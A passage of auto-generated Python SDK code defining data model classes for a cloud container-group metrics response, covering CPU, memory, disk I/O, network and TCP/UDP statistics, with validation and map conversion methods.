map.get('WorkingSet') self.rss = map.get('Rss') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasRecordsNetworkInterfaces(TeaModel): def __init__(self, tx_bytes=None, rx_bytes=None, tx_errors=None, rx_errors=None, name=None): self.tx_bytes = tx_bytes self.rx_bytes = rx_bytes self.tx_errors = tx_errors self.rx_errors = rx_errors self.name = name def validate(self): self.validate_required(self.tx_bytes, 'tx_bytes') self.validate_required(self.rx_bytes, 'rx_bytes') self.validate_required(self.tx_errors, 'tx_errors') self.validate_required(self.rx_errors, 'rx_errors') self.validate_required(self.name, 'name') def to_map(self): result = {} result['TxBytes'] = self.tx_bytes result['RxBytes'] = self.rx_bytes result['TxErrors'] = self.tx_errors result['RxErrors'] = self.rx_errors result['Name'] = self.name return result def from_map(self, map={}): self.tx_bytes = map.get('TxBytes') self.rx_bytes = map.get('RxBytes') self.tx_errors = map.get('TxErrors') self.rx_errors = map.get('RxErrors') self.name = map.get('Name') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasRecordsNetwork(TeaModel): def __init__(self, interfaces=None): self.interfaces = [] def validate(self): self.validate_required(self.interfaces, 'interfaces') if self.interfaces: for k in self.interfaces: if k : k.validate() def to_map(self): result = {} result['Interfaces'] = [] if self.interfaces is not None: for k in self.interfaces: result['Interfaces'].append(k.to_map() if k else None) else: result['Interfaces'] = None return result def from_map(self, map={}): self.interfaces = [] if map.get('Interfaces') is not None: for k in map.get('Interfaces'): temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasRecordsNetworkInterfaces() temp_model = temp_model.from_map(k) self.interfaces.append(temp_model) else: self.interfaces = None return self class DescribeMultiContainerGroupMetricResponseMonitorDatasRecords(TeaModel): def __init__(self, timestamp=None, containers=None, _cpu=None, memory=None, network=None): self.timestamp = timestamp self.containers = [] self._cpu = _cpu self.memory = memory self.network = network def validate(self): self.validate_required(self.timestamp, 'timestamp') self.validate_required(self.containers, 'containers') if self.containers: for k in self.containers: if k : k.validate() self.validate_required(self._cpu, '_cpu') if self._cpu: self._cpu.validate() self.validate_required(self.memory, 'memory') if self.memory: self.memory.validate() self.validate_required(self.network, 'network') if self.network: self.network.validate() def to_map(self): result = {} result['Timestamp'] = self.timestamp result['Containers'] = [] if self.containers is not None: for k in self.containers: result['Containers'].append(k.to_map() if k else None) else: result['Containers'] = None if self._cpu is not None: result['CPU'] = self._cpu.to_map() else: result['CPU'] = None if self.memory is not None: result['Memory'] = self.memory.to_map() else: result['Memory'] = None if self.network is not None: result['Network'] = self.network.to_map() else: result['Network'] = None return result def from_map(self, map={}): self.timestamp = map.get('Timestamp') self.containers = [] if map.get('Containers') is not None: for k in map.get('Containers'): temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasRecordsContainers() temp_model = temp_model.from_map(k) self.containers.append(temp_model) else: self.containers = None if map.get('CPU') is not None: temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasRecordsCPU() self._cpu = temp_model.from_map(map['CPU']) else: self._cpu = None if map.get('Memory') is not None: temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasRecordsMemory() self.memory = temp_model.from_map(map['Memory']) else: self.memory = None if map.get('Network') is not None: temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasRecordsNetwork() self.network = temp_model.from_map(map['Network']) else: self.network = None return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsFsStats(TeaModel): def __init__(self, device=None, type=None, limit=None, usage=None, base_usage=None, available=None, has_inodes=None, inodes=None, inodes_free=None, reads_completed=None, reads_merged=None, sectors_read=None, read_time=None, writes_completed=None, writes_merged=None, sectors_written=None, write_time=None, io_in_progress=None, io_time=None, weighted_io_time=None): self.device = device self.type = type self.limit = limit self.usage = usage self.base_usage = base_usage self.available = available self.has_inodes = has_inodes self.inodes = inodes self.inodes_free = inodes_free self.reads_completed = reads_completed self.reads_merged = reads_merged self.sectors_read = sectors_read self.read_time = read_time self.writes_completed = writes_completed self.writes_merged = writes_merged self.sectors_written = sectors_written self.write_time = write_time self.io_in_progress = io_in_progress self.io_time = io_time self.weighted_io_time = weighted_io_time def validate(self): self.validate_required(self.device, 'device') self.validate_required(self.type, 'type') self.validate_required(self.limit, 'limit') self.validate_required(self.usage, 'usage') self.validate_required(self.base_usage, 'base_usage') self.validate_required(self.available, 'available') self.validate_required(self.has_inodes, 'has_inodes') self.validate_required(self.inodes, 'inodes') self.validate_required(self.inodes_free, 'inodes_free') self.validate_required(self.reads_completed, 'reads_completed') self.validate_required(self.reads_merged, 'reads_merged') self.validate_required(self.sectors_read, 'sectors_read') self.validate_required(self.read_time, 'read_time') self.validate_required(self.writes_completed, 'writes_completed') self.validate_required(self.writes_merged, 'writes_merged') self.validate_required(self.sectors_written, 'sectors_written') self.validate_required(self.write_time, 'write_time') self.validate_required(self.io_in_progress, 'io_in_progress') self.validate_required(self.io_time, 'io_time') self.validate_required(self.weighted_io_time, 'weighted_io_time') def to_map(self): result = {} result['Device'] = self.device result['Type'] = self.type result['Limit'] = self.limit result['Usage'] = self.usage result['BaseUsage'] = self.base_usage result['Available'] = self.available result['HasInodes'] = self.has_inodes result['Inodes'] = self.inodes result['InodesFree'] = self.inodes_free result['ReadsCompleted'] = self.reads_completed result['ReadsMerged'] = self.reads_merged result['SectorsRead'] = self.sectors_read result['ReadTime'] = self.read_time result['WritesCompleted'] = self.writes_completed result['WritesMerged'] = self.writes_merged result['SectorsWritten'] = self.sectors_written result['WriteTime'] = self.write_time result['IoInProgress'] = self.io_in_progress result['IoTime'] = self.io_time result['WeightedIoTime'] = self.weighted_io_time return result def from_map(self, map={}): self.device = map.get('Device') self.type = map.get('Type') self.limit = map.get('Limit') self.usage = map.get('Usage') self.base_usage = map.get('BaseUsage') self.available = map.get('Available') self.has_inodes = map.get('HasInodes') self.inodes = map.get('Inodes') self.inodes_free = map.get('InodesFree') self.reads_completed = map.get('ReadsCompleted') self.reads_merged = map.get('ReadsMerged') self.sectors_read = map.get('SectorsRead') self.read_time = map.get('ReadTime') self.writes_completed = map.get('WritesCompleted') self.writes_merged = map.get('WritesMerged') self.sectors_written = map.get('SectorsWritten') self.write_time = map.get('WriteTime') self.io_in_progress = map.get('IoInProgress') self.io_time = map.get('IoTime') self.weighted_io_time = map.get('WeightedIoTime') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsAcceleratorStats(TeaModel): def __init__(self, id=None, make=None, model=None, memory_total=None, memory_used=None, duty_cycle=None): self.id = id self.make = make self.model = model self.memory_total = memory_total self.memory_used = memory_used self.duty_cycle = duty_cycle def validate(self): self.validate_required(self.id, 'id') self.validate_required(self.make, 'make') self.validate_required(self.model, 'model') self.validate_required(self.memory_total, 'memory_total') self.validate_required(self.memory_used, 'memory_used') self.validate_required(self.duty_cycle, 'duty_cycle') def to_map(self): result = {} result['Id'] = self.id result['Make'] = self.make result['Model'] = self.model result['MemoryTotal'] = self.memory_total result['MemoryUsed'] = self.memory_used result['DutyCycle'] = self.duty_cycle return result def from_map(self, map={}): self.id = map.get('Id') self.make = map.get('Make') self.model = map.get('Model') self.memory_total = map.get('MemoryTotal') self.memory_used = map.get('MemoryUsed') self.duty_cycle = map.get('DutyCycle') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsCpuStatsCpuUsage(TeaModel): def __init__(self, total=None, user=None, system=None, per_cpu_usages=None): self.total = total self.user = user self.system = system self.per_cpu_usages = [] def validate(self): self.validate_required(self.total, 'total') self.validate_required(self.user, 'user') self.validate_required(self.system, 'system') self.validate_required(self.per_cpu_usages, 'per_cpu_usages') def to_map(self): result = {} result['Total'] = self.total result['User'] = self.user result['System'] = self.system result['PerCpuUsages'] = [] if self.per_cpu_usages is not None: for k in self.per_cpu_usages: result['PerCpuUsages'].append(k) else: result['PerCpuUsages'] = None return result def from_map(self, map={}): self.total = map.get('Total') self.user = map.get('User') self.system = map.get('System') self.per_cpu_usages = [] if map.get('PerCpuUsages') is not None: for k in map.get('PerCpuUsages'): self.per_cpu_usages.append(k) else: self.per_cpu_usages = None return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsCpuStatsCpuCFS(TeaModel): def __init__(self, periods=None, throttled_periods=None, throttled_time=None): self.periods = periods self.throttled_periods = throttled_periods self.throttled_time = throttled_time def validate(self): self.validate_required(self.periods, 'periods') self.validate_required(self.throttled_periods, 'throttled_periods') self.validate_required(self.throttled_time, 'throttled_time') def to_map(self): result = {} result['Periods'] = self.periods result['ThrottledPeriods'] = self.throttled_periods result['ThrottledTime'] = self.throttled_time return result def from_map(self, map={}): self.periods = map.get('Periods') self.throttled_periods = map.get('ThrottledPeriods') self.throttled_time = map.get('ThrottledTime') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsCpuStats(TeaModel): def __init__(self, load_average=None, cpu_usage=None, cpu_cfs=None): self.load_average = load_average self.cpu_usage = cpu_usage self.cpu_cfs = cpu_cfs def validate(self): self.validate_required(self.load_average, 'load_average') self.validate_required(self.cpu_usage, 'cpu_usage') if self.cpu_usage: self.cpu_usage.validate() self.validate_required(self.cpu_cfs, 'cpu_cfs') if self.cpu_cfs: self.cpu_cfs.validate() def to_map(self): result = {} result['LoadAverage'] = self.load_average if self.cpu_usage is not None: result['CpuUsage'] = self.cpu_usage.to_map() else: result['CpuUsage'] = None if self.cpu_cfs is not None: result['CpuCFS'] = self.cpu_cfs.to_map() else: result['CpuCFS'] = None return result def from_map(self, map={}): self.load_average = map.get('LoadAverage') if map.get('CpuUsage') is not None: temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsCpuStatsCpuUsage() self.cpu_usage = temp_model.from_map(map['CpuUsage']) else: self.cpu_usage = None if map.get('CpuCFS') is not None: temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsCpuStatsCpuCFS() self.cpu_cfs = temp_model.from_map(map['CpuCFS']) else: self.cpu_cfs = None return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsDiskIoStatsIoServiceBytes(TeaModel): def __init__(self, device=None, major=None, minor=None, stats=None): self.device = device self.major = major self.minor = minor self.stats = stats def validate(self): self.validate_required(self.device, 'device') self.validate_required(self.major, 'major') self.validate_required(self.minor, 'minor') self.validate_required(self.stats, 'stats') def to_map(self): result = {} result['Device'] = self.device result['Major'] = self.major result['Minor'] = self.minor result['Stats'] = self.stats return result def from_map(self, map={}): self.device = map.get('Device') self.major = map.get('Major') self.minor = map.get('Minor') self.stats = map.get('Stats') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsDiskIoStatsIoServiced(TeaModel): def __init__(self, device=None, major=None, minor=None, stats=None): self.device = device self.major = major self.minor = minor self.stats = stats def validate(self): self.validate_required(self.device, 'device') self.validate_required(self.major, 'major') self.validate_required(self.minor, 'minor') self.validate_required(self.stats, 'stats') def to_map(self): result = {} result['Device'] = self.device result['Major'] = self.major result['Minor'] = self.minor result['Stats'] = self.stats return result def from_map(self, map={}): self.device = map.get('Device') self.major = map.get('Major') self.minor = map.get('Minor') self.stats = map.get('Stats') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsDiskIoStatsIoQueued(TeaModel): def __init__(self, device=None, major=None, minor=None, stats=None): self.device = device self.major = major self.minor = minor self.stats = stats def validate(self): self.validate_required(self.device, 'device') self.validate_required(self.major, 'major') self.validate_required(self.minor, 'minor') self.validate_required(self.stats, 'stats') def to_map(self): result = {} result['Device'] = self.device result['Major'] = self.major result['Minor'] = self.minor result['Stats'] = self.stats return result def from_map(self, map={}): self.device = map.get('Device') self.major = map.get('Major') self.minor = map.get('Minor') self.stats = map.get('Stats') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsDiskIoStatsSectors(TeaModel): def __init__(self, device=None, major=None, minor=None, stats=None): self.device = device self.major = major self.minor = minor self.stats = stats def validate(self): self.validate_required(self.device, 'device') self.validate_required(self.major, 'major') self.validate_required(self.minor, 'minor') self.validate_required(self.stats, 'stats') def to_map(self): result = {} result['Device'] = self.device result['Major'] = self.major result['Minor'] = self.minor result['Stats'] = self.stats return result def from_map(self, map={}): self.device = map.get('Device') self.major = map.get('Major') self.minor = map.get('Minor') self.stats = map.get('Stats') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsDiskIoStatsIoServiceTime(TeaModel): def __init__(self, device=None, major=None, minor=None, stats=None): self.device = device self.major = major self.minor = minor self.stats = stats def validate(self): self.validate_required(self.device, 'device') self.validate_required(self.major, 'major') self.validate_required(self.minor, 'minor') self.validate_required(self.stats, 'stats') def to_map(self): result = {} result['Device'] = self.device result['Major'] = self.major result['Minor'] = self.minor result['Stats'] = self.stats return result def from_map(self, map={}): self.device = map.get('Device') self.major = map.get('Major') self.minor = map.get('Minor') self.stats = map.get('Stats') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsDiskIoStatsIoWaitTime(TeaModel): def __init__(self, device=None, major=None, minor=None, stats=None): self.device = device self.major = major self.minor = minor self.stats = stats def validate(self): self.validate_required(self.device, 'device') self.validate_required(self.major, 'major') self.validate_required(self.minor, 'minor') self.validate_required(self.stats, 'stats') def to_map(self): result = {} result['Device'] = self.device result['Major'] = self.major result['Minor'] = self.minor result['Stats'] = self.stats return result def from_map(self, map={}): self.device = map.get('Device') self.major = map.get('Major') self.minor = map.get('Minor') self.stats = map.get('Stats') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsDiskIoStatsIoMerged(TeaModel): def __init__(self, device=None, major=None, minor=None, stats=None): self.device = device self.major = major self.minor = minor self.stats = stats def validate(self): self.validate_required(self.device, 'device') self.validate_required(self.major, 'major') self.validate_required(self.minor, 'minor') self.validate_required(self.stats, 'stats') def to_map(self): result = {} result['Device'] = self.device result['Major'] = self.major result['Minor'] = self.minor result['Stats'] = self.stats return result def from_map(self, map={}): self.device = map.get('Device') self.major = map.get('Major') self.minor = map.get('Minor') self.stats = map.get('Stats') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsDiskIoStatsIoTime(TeaModel): def __init__(self, device=None, major=None, minor=None, stats=None): self.device = device self.major = major self.minor = minor self.stats = stats def validate(self): self.validate_required(self.device, 'device') self.validate_required(self.major, 'major') self.validate_required(self.minor, 'minor') self.validate_required(self.stats, 'stats') def to_map(self): result = {} result['Device'] = self.device result['Major'] = self.major result['Minor'] = self.minor result['Stats'] = self.stats return result def from_map(self, map={}): self.device = map.get('Device') self.major = map.get('Major') self.minor = map.get('Minor') self.stats = map.get('Stats') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsDiskIoStats(TeaModel): def __init__(self, io_service_bytes=None, io_serviced=None, io_queued=None, sectors=None, io_service_time=None, io_wait_time=None, io_merged=None, io_time=None): self.io_service_bytes = [] self.io_serviced = [] self.io_queued = [] self.sectors = [] self.io_service_time = [] self.io_wait_time = [] self.io_merged = [] self.io_time = [] def validate(self): self.validate_required(self.io_service_bytes, 'io_service_bytes') if self.io_service_bytes: for k in self.io_service_bytes: if k : k.validate() self.validate_required(self.io_serviced, 'io_serviced') if self.io_serviced: for k in self.io_serviced: if k : k.validate() self.validate_required(self.io_queued, 'io_queued') if self.io_queued: for k in self.io_queued: if k : k.validate() self.validate_required(self.sectors, 'sectors') if self.sectors: for k in self.sectors: if k : k.validate() self.validate_required(self.io_service_time, 'io_service_time') if self.io_service_time: for k in self.io_service_time: if k : k.validate() self.validate_required(self.io_wait_time, 'io_wait_time') if self.io_wait_time: for k in self.io_wait_time: if k : k.validate() self.validate_required(self.io_merged, 'io_merged') if self.io_merged: for k in self.io_merged: if k : k.validate() self.validate_required(self.io_time, 'io_time') if self.io_time: for k in self.io_time: if k : k.validate() def to_map(self): result = {} result['IoServiceBytes'] = [] if self.io_service_bytes is not None: for k in self.io_service_bytes: result['IoServiceBytes'].append(k.to_map() if k else None) else: result['IoServiceBytes'] = None result['IoServiced'] = [] if self.io_serviced is not None: for k in self.io_serviced: result['IoServiced'].append(k.to_map() if k else None) else: result['IoServiced'] = None result['IoQueued'] = [] if self.io_queued is not None: for k in self.io_queued: result['IoQueued'].append(k.to_map() if k else None) else: result['IoQueued'] = None result['Sectors'] = [] if self.sectors is not None: for k in self.sectors: result['Sectors'].append(k.to_map() if k else None) else: result['Sectors'] = None result['IoServiceTime'] = [] if self.io_service_time is not None: for k in self.io_service_time: result['IoServiceTime'].append(k.to_map() if k else None) else: result['IoServiceTime'] = None result['IoWaitTime'] = [] if self.io_wait_time is not None: for k in self.io_wait_time: result['IoWaitTime'].append(k.to_map() if k else None) else: result['IoWaitTime'] = None result['IoMerged'] = [] if self.io_merged is not None: for k in self.io_merged: result['IoMerged'].append(k.to_map() if k else None) else: result['IoMerged'] = None result['IoTime'] = [] if self.io_time is not None: for k in self.io_time: result['IoTime'].append(k.to_map() if k else None) else: result['IoTime'] = None return result def from_map(self, map={}): self.io_service_bytes = [] if map.get('IoServiceBytes') is not None: for k in map.get('IoServiceBytes'): temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsDiskIoStatsIoServiceBytes() temp_model = temp_model.from_map(k) self.io_service_bytes.append(temp_model) else: self.io_service_bytes = None self.io_serviced = [] if map.get('IoServiced') is not None: for k in map.get('IoServiced'): temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsDiskIoStatsIoServiced() temp_model = temp_model.from_map(k) self.io_serviced.append(temp_model) else: self.io_serviced = None self.io_queued = [] if map.get('IoQueued') is not None: for k in map.get('IoQueued'): temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsDiskIoStatsIoQueued() temp_model = temp_model.from_map(k) self.io_queued.append(temp_model) else: self.io_queued = None self.sectors = [] if map.get('Sectors') is not None: for k in map.get('Sectors'): temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsDiskIoStatsSectors() temp_model = temp_model.from_map(k) self.sectors.append(temp_model) else: self.sectors = None self.io_service_time = [] if map.get('IoServiceTime') is not None: for k in map.get('IoServiceTime'): temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsDiskIoStatsIoServiceTime() temp_model = temp_model.from_map(k) self.io_service_time.append(temp_model) else: self.io_service_time = None self.io_wait_time = [] if map.get('IoWaitTime') is not None: for k in map.get('IoWaitTime'): temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsDiskIoStatsIoWaitTime() temp_model = temp_model.from_map(k) self.io_wait_time.append(temp_model) else: self.io_wait_time = None self.io_merged = [] if map.get('IoMerged') is not None: for k in map.get('IoMerged'): temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsDiskIoStatsIoMerged() temp_model = temp_model.from_map(k) self.io_merged.append(temp_model) else: self.io_merged = None self.io_time = [] if map.get('IoTime') is not None: for k in map.get('IoTime'): temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsDiskIoStatsIoTime() temp_model = temp_model.from_map(k) self.io_time.append(temp_model) else: self.io_time = None return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsMemoryStatsContainerData(TeaModel): def __init__(self, pg_fault=None, pgmaj_fault=None): self.pg_fault = pg_fault self.pgmaj_fault = pgmaj_fault def validate(self): self.validate_required(self.pg_fault, 'pg_fault') self.validate_required(self.pgmaj_fault, 'pgmaj_fault') def to_map(self): result = {} result['PgFault'] = self.pg_fault result['PgmajFault'] = self.pgmaj_fault return result def from_map(self, map={}): self.pg_fault = map.get('PgFault') self.pgmaj_fault = map.get('PgmajFault') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsMemoryStatsHierarchicalData(TeaModel): def __init__(self, pg_fault=None, pgmaj_fault=None): self.pg_fault = pg_fault self.pgmaj_fault = pgmaj_fault def validate(self): self.validate_required(self.pg_fault, 'pg_fault') self.validate_required(self.pgmaj_fault, 'pgmaj_fault') def to_map(self): result = {} result['PgFault'] = self.pg_fault result['PgmajFault'] = self.pgmaj_fault return result def from_map(self, map={}): self.pg_fault = map.get('PgFault') self.pgmaj_fault = map.get('PgmajFault') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsMemoryStats(TeaModel): def __init__(self, usage=None, max_usage=None, cache=None, rss=None, swap=None, working_set=None, fail_cnt=None, container_data=None, hierarchical_data=None): self.usage = usage self.max_usage = max_usage self.cache = cache self.rss = rss self.swap = swap self.working_set = working_set self.fail_cnt = fail_cnt self.container_data = container_data self.hierarchical_data = hierarchical_data def validate(self): self.validate_required(self.usage, 'usage') self.validate_required(self.max_usage, 'max_usage') self.validate_required(self.cache, 'cache') self.validate_required(self.rss, 'rss') self.validate_required(self.swap, 'swap') self.validate_required(self.working_set, 'working_set') self.validate_required(self.fail_cnt, 'fail_cnt') self.validate_required(self.container_data, 'container_data') if self.container_data: self.container_data.validate() self.validate_required(self.hierarchical_data, 'hierarchical_data') if self.hierarchical_data: self.hierarchical_data.validate() def to_map(self): result = {} result['Usage'] = self.usage result['MaxUsage'] = self.max_usage result['Cache'] = self.cache result['Rss'] = self.rss result['Swap'] = self.swap result['WorkingSet'] = self.working_set result['FailCnt'] = self.fail_cnt if self.container_data is not None: result['ContainerData'] = self.container_data.to_map() else: result['ContainerData'] = None if self.hierarchical_data is not None: result['HierarchicalData'] = self.hierarchical_data.to_map() else: result['HierarchicalData'] = None return result def from_map(self, map={}): self.usage = map.get('Usage') self.max_usage = map.get('MaxUsage') self.cache = map.get('Cache') self.rss = map.get('Rss') self.swap = map.get('Swap') self.working_set = map.get('WorkingSet') self.fail_cnt = map.get('FailCnt') if map.get('ContainerData') is not None: temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsMemoryStatsContainerData() self.container_data = temp_model.from_map(map['ContainerData']) else: self.container_data = None if map.get('HierarchicalData') is not None: temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsMemoryStatsHierarchicalData() self.hierarchical_data = temp_model.from_map(map['HierarchicalData']) else: self.hierarchical_data = None return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsNetworkStatsInterfaceStats(TeaModel): def __init__(self, name=None, rx_bytes=None, rx_packets=None, rx_errors=None, rx_dropped=None, tx_bytes=None, tx_packets=None, tx_dropped=None, tx_errors=None): self.name = name self.rx_bytes = rx_bytes self.rx_packets = rx_packets self.rx_errors = rx_errors self.rx_dropped = rx_dropped self.tx_bytes = tx_bytes self.tx_packets = tx_packets self.tx_dropped = tx_dropped self.tx_errors = tx_errors def validate(self): self.validate_required(self.name, 'name') self.validate_required(self.rx_bytes, 'rx_bytes') self.validate_required(self.rx_packets, 'rx_packets') self.validate_required(self.rx_errors, 'rx_errors') self.validate_required(self.rx_dropped, 'rx_dropped') self.validate_required(self.tx_bytes, 'tx_bytes') self.validate_required(self.tx_packets, 'tx_packets') self.validate_required(self.tx_dropped, 'tx_dropped') self.validate_required(self.tx_errors, 'tx_errors') def to_map(self): result = {} result['Name'] = self.name result['RxBytes'] = self.rx_bytes result['RxPackets'] = self.rx_packets result['RxErrors'] = self.rx_errors result['RxDropped'] = self.rx_dropped result['TxBytes'] = self.tx_bytes result['TxPackets'] = self.tx_packets result['TxDropped'] = self.tx_dropped result['TxErrors'] = self.tx_errors return result def from_map(self, map={}): self.name = map.get('Name') self.rx_bytes = map.get('RxBytes') self.rx_packets = map.get('RxPackets') self.rx_errors = map.get('RxErrors') self.rx_dropped = map.get('RxDropped') self.tx_bytes = map.get('TxBytes') self.tx_packets = map.get('TxPackets') self.tx_dropped = map.get('TxDropped') self.tx_errors = map.get('TxErrors') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsNetworkStatsTcp(TeaModel): def __init__(self, established=None, syn_sent=None, syn_recv=None, fin_wait_1=None, fin_wait_2=None, time_wait=None, close=None, close_wait=None, last_ack=None, listen=None, closing=None): self.established = established self.syn_sent = syn_sent self.syn_recv = syn_recv self.fin_wait_1 = fin_wait_1 self.fin_wait_2 = fin_wait_2 self.time_wait = time_wait self.close = close self.close_wait = close_wait self.last_ack = last_ack self.listen = listen self.closing = closing def validate(self): self.validate_required(self.established, 'established') self.validate_required(self.syn_sent, 'syn_sent') self.validate_required(self.syn_recv, 'syn_recv') self.validate_required(self.fin_wait_1, 'fin_wait_1') self.validate_required(self.fin_wait_2, 'fin_wait_2') self.validate_required(self.time_wait, 'time_wait') self.validate_required(self.close, 'close') self.validate_required(self.close_wait, 'close_wait') self.validate_required(self.last_ack, 'last_ack') self.validate_required(self.listen, 'listen') self.validate_required(self.closing, 'closing') def to_map(self): result = {} result['Established'] = self.established result['SynSent'] = self.syn_sent result['SynRecv'] = self.syn_recv result['FinWait1'] = self.fin_wait_1 result['FinWait2'] = self.fin_wait_2 result['TimeWait'] = self.time_wait result['Close'] = self.close result['CloseWait'] = self.close_wait result['LastAck'] = self.last_ack result['Listen'] = self.listen result['Closing'] = self.closing return result def from_map(self, map={}): self.established = map.get('Established') self.syn_sent = map.get('SynSent') self.syn_recv = map.get('SynRecv') self.fin_wait_1 = map.get('FinWait1') self.fin_wait_2 = map.get('FinWait2') self.time_wait = map.get('TimeWait') self.close = map.get('Close') self.close_wait = map.get('CloseWait') self.last_ack = map.get('LastAck') self.listen = map.get('Listen') self.closing = map.get('Closing') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsNetworkStatsTcp6(TeaModel): def __init__(self, established=None, syn_sent=None, syn_recv=None, fin_wait_1=None, fin_wait_2=None, time_wait=None, close=None, close_wait=None, last_ack=None, listen=None, closing=None): self.established = established self.syn_sent = syn_sent self.syn_recv = syn_recv self.fin_wait_1 = fin_wait_1 self.fin_wait_2 = fin_wait_2 self.time_wait = time_wait self.close = close self.close_wait = close_wait self.last_ack = last_ack self.listen = listen self.closing = closing def validate(self): self.validate_required(self.established, 'established') self.validate_required(self.syn_sent, 'syn_sent') self.validate_required(self.syn_recv, 'syn_recv') self.validate_required(self.fin_wait_1, 'fin_wait_1') self.validate_required(self.fin_wait_2, 'fin_wait_2') self.validate_required(self.time_wait, 'time_wait') self.validate_required(self.close, 'close') self.validate_required(self.close_wait, 'close_wait') self.validate_required(self.last_ack, 'last_ack') self.validate_required(self.listen, 'listen') self.validate_required(self.closing, 'closing') def to_map(self): result = {} result['Established'] = self.established result['SynSent'] = self.syn_sent result['SynRecv'] = self.syn_recv result['FinWait1'] = self.fin_wait_1 result['FinWait2'] = self.fin_wait_2 result['TimeWait'] = self.time_wait result['Close'] = self.close result['CloseWait'] = self.close_wait result['LastAck'] = self.last_ack result['Listen'] = self.listen result['Closing'] = self.closing return result def from_map(self, map={}): self.established = map.get('Established') self.syn_sent = map.get('SynSent') self.syn_recv = map.get('SynRecv') self.fin_wait_1 = map.get('FinWait1') self.fin_wait_2 = map.get('FinWait2') self.time_wait = map.get('TimeWait') self.close = map.get('Close') self.close_wait = map.get('CloseWait') self.last_ack = map.get('LastAck') self.listen = map.get('Listen') self.closing = map.get('Closing') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsNetworkStatsUdp(TeaModel): def __init__(self, listen=None, dropped=None, rx_queued=None, tx_queued=None): self.listen = listen self.dropped = dropped self.rx_queued = rx_queued self.tx_queued = tx_queued def validate(self): self.validate_required(self.listen, 'listen') self.validate_required(self.dropped, 'dropped') self.validate_required(self.rx_queued, 'rx_queued') self.validate_required(self.tx_queued, 'tx_queued') def to_map(self): result = {} result['Listen'] = self.listen result['Dropped'] = self.dropped result['RxQueued'] = self.rx_queued result['TxQueued'] = self.tx_queued return result def from_map(self, map={}): self.listen = map.get('Listen') self.dropped = map.get('Dropped') self.rx_queued = map.get('RxQueued') self.tx_queued = map.get('TxQueued') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsNetworkStatsUdp6(TeaModel): def __init__(self, listen=None, dropped=None, rx_queued=None, tx_queued=None): self.listen = listen self.dropped = dropped self.rx_queued = rx_queued self.tx_queued = tx_queued def validate(self): self.validate_required(self.listen, 'listen') self.validate_required(self.dropped, 'dropped') self.validate_required(self.rx_queued, 'rx_queued') self.validate_required(self.tx_queued, 'tx_queued') def to_map(self): result = {} result['Listen'] = self.listen result['Dropped'] = self.dropped result['RxQueued'] = self.rx_queued result['TxQueued'] = self.tx_queued return result def from_map(self, map={}): self.listen = map.get('Listen') self.dropped = map.get('Dropped') self.rx_queued = map.get('RxQueued') self.tx_queued = map.get('TxQueued') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsNetworkStats(TeaModel): def __init__(self, name=None, rx_bytes=None, rx_packets=None, rx_errors=None, rx_dropped=None, tx_bytes=None, tx_packets=None, tx_dropped=None, tx_errors=None, interface_stats=None, tcp=None, tcp_6=None, udp=None, udp_6=None): self.name = name self.rx_bytes = rx_bytes self.rx_packets = rx_packets self.rx_errors = rx_errors self.rx_dropped = rx_dropped self.tx_bytes = tx_bytes self.tx_packets = tx_packets self.tx_dropped = tx_dropped self.tx_errors = tx_errors self.interface_stats = [] self.tcp = tcp self.tcp_6 = tcp_6 self.udp = udp self.udp_6 = udp_6 def validate(self): self.validate_required(self.name, 'name') self.validate_required(self.rx_bytes, 'rx_bytes') self.validate_required(self.rx_packets, 'rx_packets') self.validate_required(self.rx_errors, 'rx_errors') self.validate_required(self.rx_dropped, 'rx_dropped') self.validate_required(self.tx_bytes, 'tx_bytes') 